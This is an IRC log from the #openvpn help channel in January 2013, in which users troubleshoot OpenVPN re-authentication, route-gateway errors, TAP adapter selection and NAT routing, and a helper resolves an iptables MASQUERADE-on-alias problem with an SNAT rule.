16:54 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
16:57 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
16:58 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
17:00 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:03 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:04 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
17:05 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:09 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:10 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:12 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:14 -!- brute11k [~brute11k@89.249.230.101] has quit [Quit: Leaving.]
17:15 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:16 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:21 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:23 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:26 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:27 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
17:30 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:31 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:35 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:36 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:39 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:42 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:42 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:47 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:52 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:52 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:57 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
17:58 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
17:58 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
18:03 -!- Fritzah [u291187@ool-44c4f941.dyn.optonline.net] has joined #openvpn
18:04 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
18:07 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
18:21 -!- Fritzah [u291187@ool-44c4f941.dyn.optonline.net] has quit [Remote host closed the connection]
18:41 < Valcorb> hey another question
18:42 < Valcorb> im using user/pass verification
18:42 < Valcorb> but it keeps asking for my user/pass every hour
18:42 < Valcorb> a way to prevent that?
18:52 -!- d12fk [~heiko@exit0.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
18:53 -!- AndChat330644 [~AndChat33@c-24-126-51-244.hsd1.md.comcast.net] has joined #openvpn
18:54 < AndChat330644> My openvpn has been working on Android and suddenly I get the error message. P:OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options
18:56 <+pekster> Valcorb: See --auth-nocache option which I suspect you're using without realizing what it does
18:56 <+pekster> Valcorb: You might also be accepting credentials in a way that's unavailable during re-keying/re-auth, in which case you'd need to explain your setup better
18:57 < Valcorb> is it a client issue?
18:57 <+pekster> Yes
18:57 <+pekster> AndChat330644: Pretty explicit error message. Either push the required gateway value from the server or fix the way you call the 'route' directive to include that gateway client-side
18:57 < Valcorb> yes i'm using auth-nocache
18:57 < Valcorb> should i remove it?
18:58 <+pekster> Valcorb: Why don't you look it up in the manpage and decide if you want it. The description says very specifically what it does
18:58 < Valcorb> aight
18:58 < Valcorb> thanks
18:58 <+pekster> I'm happy to answer questions after you've read the documentation, but it's bad form to come on IRC, get a reference for your problem, and then ask another question before you've read it
19:04 < AndChat330644> I have always pushed a route from server. No change in configuration. After latest application update i get this error.
19:04 < AndChat330644> On client side route is called this way. Route 0.0.0.0 0.0.0.0
19:06 <+pekster> AndChat330644: That only works if the server is pushing the 'route-gateway' value
19:06 <+pekster> Otherwise you'd need to specify the gateway client-side either explicitly as a 3rd parameter to the 'route' directive, or via a separate 'route-gateway' directive (the client can define that too if you're unable or unwilling to push it server-side)
19:11 < dioz> pekster: idk if it's me or what the problem is.  2.1.3 i couldn't get dev-node to change to Local Area Connection 2
19:11 < dioz> error would always say "mytap" so i had to change the name in windows
19:11 < dioz> i thought it was weird
19:11 < dioz> idk if you even remember talking to me ;] i see you here a lot
19:12 < AndChat330644> +pekster now it's complaining about ipv6 gw
19:13 < AndChat330644> thanks for the tips though I now know where to look
19:18 < AndChat330644> http://db.tt/Ttul4PIK
19:18 <@vpnHelper> Title: Dropbox - picsay-1358644668.jpg - Simplify your life (at db.tt)
19:20 < AndChat330644> Screen shot of my config
19:20 <+rob0> screen shot?
19:25 -!- Qianyi [~Qianyi@180.155.14.35] has quit [Ping timeout: 240 seconds]
19:28 < AndChat330644> Lol ro
19:28 < AndChat330644> Auto correct +rob0
19:34 < AndChat330644> Do you happen to know how to ignore --ifconfig-ipv6..
19:59 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving.]
20:12 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Remote host closed the connection]
20:22 -!- AndChat330644 [~AndChat33@c-24-126-51-244.hsd1.md.comcast.net] has quit [Quit: Bye]
21:00 -!- thumbs is now known as httpd
21:00 -!- httpd is now known as thumbs
21:07 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has quit [Excess Flood]
21:11 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has joined #openvpn
21:16 <+pekster> dioz: Use 'openvpn.exe --show-adapters' to get both the display strings and the CLSID of valid TAP adapters on your system
21:16 <+pekster> You may use either the display name or the CLSID as you prefer
21:23 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
21:39 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
21:41 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
21:58 < dioz> pekster: i tried using the GUID listed in the --show adapters output too
21:58 < dioz> ooor whatever it's called
22:06 -!- nucleo [nucleo@fedora/nucleo] has quit [Quit: just make this person in IRC be quiet http://goo.gl/4RGta]
22:07 <+pekster> dioz: Works fine for me under 2.3.0, and I know I've used it before too
22:07 <+pekster> 'dev-node {0A1B2C3D...}'
22:07 <+pekster> Copy & paste the CLSID output, including the brackets
22:08 <+pekster> dioz: Your log output should show you the deivce name and CLSID too on a line that beigns with: TAP-WIN32 device [Display Name Here] opened: \\.\Global\{CLSID_GOES_HERE}.tap
22:28 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
22:56 -!- Assid [~kvirc@unaffiliated/assid] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
23:22 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
23:22 -!- mode/#openvpn [+v hazardous] by ChanServ
23:31 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Remote host closed the connection]
23:31 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Remote host closed the connection]
23:31 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has quit [Remote host closed the connection]
23:36 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
23:59 -!- CrashTM [~CrashTM@69.162.93.219] has joined #openvpn
--- Day changed Sun Jan 20 2013
00:00 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 248 seconds]
00:06 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
00:07 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 276 seconds]
00:09 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 252 seconds]
00:12 -!- CrashTM [~CrashTM@69.162.93.219] has quit [Remote host closed the connection]
00:14 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
00:17 -!- nucl3ar [~atom@c-69-247-138-234.hsd1.tn.comcast.net] has joined #openvpn
00:24 -!- Qianyi [~Qianyi@180.155.14.35] has joined #openvpn
00:32 -!- bigmeow [~mirror@184.82.217.174] has quit [Ping timeout: 276 seconds]
00:34 -!- bigmeow [~mirror@184.82.217.174] has joined #openvpn
00:48 -!- Wintereise [Wintereise@113.11.122.231] has joined #openvpn
00:49 -!- Wintereise [Wintereise@113.11.122.231] has quit [Changing host]
00:49 -!- Wintereise [Wintereise@unaffiliated/wintereise] has joined #openvpn
01:35 -!- Qianyi [~Qianyi@180.155.14.35] has quit [Ping timeout: 256 seconds]
01:41 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
02:09 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:09 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:10 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:10 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:11 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:11 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:11 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:11 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:12 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:12 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:13 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:13 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:14 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:14 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:17 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:17 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:17 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:17 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Excess Flood]
02:18 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:51 -!- Qianyi [~Qianyi@180.155.14.35] has joined #openvpn
03:44 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
03:50 -!- DaIRC49957 [Wintereise@113.11.122.231] has joined #openvpn
03:50 -!- Wintereise [Wintereise@unaffiliated/wintereise] has quit [Disconnected by services]
03:50 -!- DaIRC49957 is now known as Wintereise
03:50 -!- Wintereise [Wintereise@113.11.122.231] has quit [Changing host]
03:50 -!- Wintereise [Wintereise@unaffiliated/wintereise] has joined #openvpn
03:54 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
04:13 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Read error: Connection reset by peer]
04:25 -!- catsup [~d@64.111.123.163] has quit [Remote host closed the connection]
04:46 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
04:46 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
04:46 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:50 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
04:58 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
05:05 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has quit [Quit: Leaving]
05:07 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
05:13 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
05:23 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
05:23 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
05:23 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:24 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has joined #openvpn
05:25 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has quit [Remote host closed the connection]
05:32 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
05:35 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
05:48 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
05:51 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 260 seconds]
05:56 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:00 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has joined #openvpn
06:05 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
06:08 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:12 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has joined #openvpn
06:43 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
06:52 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
06:56 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:12 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:15 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:17 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:19 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:22 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:22 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
07:25 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:27 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:32 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:32 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:35 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:38 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:40 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:43 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:46 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:46 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
07:48 -!- _br_- [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:49 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:53 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
07:57 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
07:59 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
08:00 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
08:02 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
08:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
08:04 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
08:07 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
08:09 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
08:11 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
08:14 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
08:16 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
08:20 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
08:21 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
08:21 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
08:25 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
08:27 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
08:29 -!- mode/#openvpn [+b *!*@static.88-198-57-152.clients.your-server.de] by ecrist
08:30 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
08:34 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
08:36 -!- Freeaqingme [~Freeaqing@91.214.168.110] has quit [Quit: ZNC - http://znc.in]
08:40 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
09:03 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has quit [Quit: Leaving]
09:25 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
09:27 -!- KaiForce [~chatzilla@adsl-70-228-76-146.dsl.akrnoh.ameritech.net] has joined #openvpn
09:56 -!- lipi [~lipi@69.204.223.87.dynamic.jazztel.es] has joined #openvpn
09:57 < lipi> hello, I would like to create a wizard that includes my certs by default, how can I do this?
09:57 < lipi> and to sets openvpn with service mode and autoconnect at windows startup
10:00 -!- b1rkh0ff [~b1rkh0ff@178.77.21.223] has joined #openvpn
10:06 < lipi> on the other hand, do you think is a very bad practice to give some clients the same certs?
10:06 < lipi> for example, I have an office with 4 static PCs always connected to my VPN.. so in order to minimize deployment costs I manage only 1 cert for these 4 hosts...
10:22 -!- master_of_master [~master_of@p57B53F05.dip.t-dialin.net] has quit [Ping timeout: 246 seconds]
10:24 -!- master_of_master [~master_of@p57B52132.dip.t-dialin.net] has joined #openvpn
10:31 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
10:53 -!- Guest15941 [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
10:53 -!- Guest15941 [~Cpt-Obliv@a202101.upc-a.chello.nl] has left #openvpn []
10:53 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
10:54 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
10:54 < Cubox> !routing
10:54 < Cubox> !linrouting
10:54 < Cubox> ._.
10:54 < Cubox> !welcome
10:54 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:54 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:55 < Cubox> !linredirect
10:55 < Cubox> !redirect
10:55 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:55 <@vpnHelper> http://ircpimps.org/redirect.png
10:55 < Cubox> !ipforward
10:55 <@vpnHelper> "ipforward" is please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
10:55 < Cubox> !linipforward
10:55 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
11:02 < Cubox> Guess what, I can't route traffic. Using Arch, ufw. openvpn server and client can ping. Have this rule in iptables -t nat -S -A POSTROUTING -s 10.8.0.2/32 -o enp1s0:1 -j MASQUERADE
11:02 -!- Orbi [~opera@anon-149-217.vpn.ipredator.se] has joined #openvpn
11:07 < Cubox> enp1s0:1 is working
11:07 -!- lololojfegdiufhg [~root@thunderaan.cubox.me] has joined #openvpn
11:12 < Cubox> I have the /proc/sys rule for ip forwarding too.
11:17 <+pekster> lipi: You can write your own installation wrapper using NSIS or similar
11:18 <+pekster> lipi: As far as re-use of certs, it's allowed (as long as your server is configured to allow >1 connection from the same CN) but can cause problems if you ever need to revoke the cert of just 1 of the user's or systems, or if you need to identify which user was using a specific IP
11:19 <+pekster> Cubox: What are you trying to do at a high level with openvpn? Redirect all traffic from a client?
11:20 < Cubox> Yep
11:20 < lololojfegdiufhg> redirect-gateway def1 too
11:20 < Cubox> I have push
11:20 < Cubox> Oops
11:20 < Cubox> I have push redirect-gateway def1 on config.
11:20 <+pekster> Cubox: Did you see the flowchart linked in the !redirect output? Follow that and feel free to ask if you get stuck
11:20 <+pekster> It helps guide you through all the steps required for that to work
11:21 < Cubox> firewall issue :P
11:22 <+pekster> Can you pastebin the output of 'iptables-save' ?
11:23 <+pekster> Labeling your interfaces before the output would be helpful too so I know what the uplink and tun devices are
11:23 < Cubox> iptables-save don't give anything...
11:23 <+pekster> It requires root access (like any netfilter command)
11:23 < Cubox> forgot this
11:23 < Cubox> pekster: gg
11:24 < Cubox> http://alduin.cubox.me/files/dump
11:24 < Cubox> you can add .txt if any
11:25 <+pekster> No need, although the MIME type from your server treats it as a binary stream
11:25 <+pekster> Oh, adding .txt to the URI gets your server to do the right thing
11:25 < Cubox> :)
11:26 < Cubox> pasting you ip addr
11:26 <+pekster> enp1s0:1 is your WAN/internet interface?
11:26 < Cubox> http://paste.placeholder.fr/show/172/
11:26 <+pekster> Ah, nvm, that explains it too :)
11:26 < Cubox> Yes
11:27 <+pekster> You should MASQUERADE the entire VPN network, not just that single host
11:27 < Cubox> I know, Just for migrating server
11:27 <+pekster> huh?
11:27 < Cubox> I need this computer to be linked first
11:27 < Cubox> This computer have his own ip address
11:28 <+pekster> Is the client actually using 10.8.0.2?
11:28 < Cubox> and the others computers will have the enp1s0 ip address
11:28 < Cubox> pekster: yes
11:28 < Cubox> pekster: I can ping it.
11:28 <+pekster> k
11:29 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
11:30 <+pekster> Looks like your FORWARD chain doesn't allow the traffic
11:31 < Cubox> Forward ...
11:31 <+pekster> You need a rule to allow it on the FORWARD chain (or a chain it calls) too, not just the SNAT/MASQUERADE rule
11:31 < Cubox> ╰─➤ cat /etc/default/ufw                                                                                                                                          1 ↵
11:31 < Cubox> DEFAULT_FORWARD_POLICY="ACCEPT"
11:31 < Cubox> (this is a part of the file)
11:31 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:31 -!- mode/#openvpn [+v s7r] by ChanServ
11:32 <+pekster> Oh, okay. I blindly assumed the 'ufw-reject-forward' chain would reject it; apparently not
11:32 <+pekster> (those are some ugly rules, but I guess I've just never seen ufw-generated rules before)
11:33 <+pekster> And ipforwarding is on? Can you 'cat /proc/sys/net/ipv4/ip_forward' and get 1?
11:33 < Cubox> Yep, 1
11:33 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has quit [Remote host closed the connection]
11:34 <+pekster> If you do a 'ping 4.2.2.1' or such client-side, can you tcpdump the tun0 interface and see packets?
11:34 -!- KaiForce [~chatzilla@adsl-70-228-76-146.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0.1/20130116073211]]
11:35 <+pekster> The server-side firewall looks okay, given the ACCEPT policy on the FORWARD chain (ultimately you probably want to fix that, but it's okay for now for testing)
11:35 < Cubox> Doing that
11:37 < Cubox> 18:36:56.205183 IP 10.8.0.2 > 8.8.8.8: ICMP echo request, id 24294, seq 79, length 64
11:37 < Cubox> 18:36:56.610825 IP 10.8.0.2.54554 > Alduin.60001: UDP, length 94
11:37 < Cubox> 18:36:56.761679 IP Alduin > 10.8.0.2: ICMP Alduin udp port 60001 unreachable, length 130
11:38 -!- Wintereise [Wintereise@unaffiliated/wintereise] has quit [Read error: Connection reset by peer]
11:38 -!- Wintereise [Wintereise@113.11.122.231] has joined #openvpn
11:38 < Cubox> strange o.O
11:38 <+pekster> So the ping goes through (not sure about that UDP stuff, but I'll happily ignore that for now.) You get no reply though
11:39 < Cubox> 18:37:09.216401 IP 10.8.0.2 > 8.8.8.8: ICMP echo request, id 24294, seq 92, length 64
11:39 < Cubox> and no reply
11:39 <+pekster> If you do the same dump on the outside-facing interface do you see the packet go out? 'tcpdump -pnvi enpls0 and host 8.8.8.8' ?
11:39 <+pekster> (that tcpdump will make sure it doesn't spam you with normal traffic during the dump)
11:40 <+pekster> Erm, no 'and'
11:40 <+pekster> Just 'host 8.8.8.8'
11:41 <+pekster> Maybe it's not going out that interface?
11:41 < Cubox> enp1s0 or enp1s0:1 ?
11:41 <+pekster> If you get no traffic doing that tcpdump, please post output of 'ip route show table all'
11:41 <+pekster> Oh, right, 'enpls0' since the alias is just that
11:41 <+pekster> My guess is that it's using the wrong interface, namely the primary IP on that interface, not the alias
11:42 <+pekster> Actually, you might be able to verify that via 'iptables -t nat -xnvL POSTROUTING' too
11:42 < Cubox> http://paste.placeholder.fr/show/173/
11:42 <+pekster> If you see a '0' in the packet column (that's the rule hitcount) then it's not getting matched
11:42 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
11:42 <+pekster> Yea, so your're not SNAT'ing the traffic
11:43 <+pekster> I don't think you can MASQUERADE on an alias like that
11:43 < Cubox> http://paste.placeholder.fr/show/174/
11:43 <+pekster> You can't magically make traffic come from a 2nd IP like that; you need routing rules/tables to do that
11:45 < Cubox> hmm
11:45 <+pekster> Cubox: So, that default route on line 2 of the route output, means that it goes out via the primary IP of enpls0, not any of the secondary ones
11:45 <+pekster> You can't match on an alias like that in netfilter, becuase the alias doesn't actually exist (it's just a 2nd IP on the same interface)
11:46 < Cubox> yeah, I see
11:46 <+pekster> If you want to use a 2nd upstream IP, you need to specificlly declare it in the 'src' attribute of a routing table entry, and if you don't want that to be the default for all packets, you must define routing rules to send the traffic to a non-default routing table
11:46 <+pekster> see 'man ip' for the syntax, and 'ip route help' and 'ip rule help' for rule/route specific usage commands
11:46 <+pekster> It's non-trivial to set up policy routing like that
11:47 <+pekster> Here's a nifty guide from the LARTC group: http://lartc.org/howto/
11:47 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Ping timeout: 256 seconds]
11:47 <@vpnHelper> Title: Linux Advanced Routing & Traffic Control HOWTO (at lartc.org)
11:47 <+pekster> If you're already very familiar with 'ip' command usage, you can skip to chapter 4. Otherwise, starting at the beeginning will help you understand what's going on
11:48 <+pekster> Cubox: Hmm, maybe you can try using -j SNAT --to-source 192.95.18.155 ?
11:48 <+pekster> I don't actually know if that does the right thing or not, but it might be worth a shot
11:49 <+pekster> Since it's the same interface, it might just work. Also change your -o  to read simply '-o enpls0' without the alias
11:49 < Cubox> pekster: Where do I add this ?
11:50 <+pekster> In the firewall output you gave me, change line 7 to read like so: -A POSTROUTING -s 10.8.0.2/32 -o enp1s0 -j SNAT --to-source 192.95.18.155
11:52 < Cubox> zomfg
11:52 < Cubox> pekster: Marry me.
11:52 < Cubox> pekster: are you a girl ?
11:52 <+pekster> Congrats. And I'm merely a screenname on the Internet
11:53 <+pekster> So, the issue is that the MASQUERADE target always uses the primary IP of an interface (see the iptables-extensions manpage for details)
11:53 < Cubox> yeah
11:53 <+pekster> You didn't want that, and your routing table already handled the next-hop properly
11:53 <+pekster> Normally you can't use SNAT like that, but both your different IPs are on the same interface, so it all works out without work defining policy routing
11:54 < Cubox> :)
11:54 < Cubox> Thanks :)
11:54 <+pekster> Yup
11:54 < Cubox> Next step : IPv6
11:54 < Cubox> but not today !
11:54 <+pekster> At least there's no NAT there...
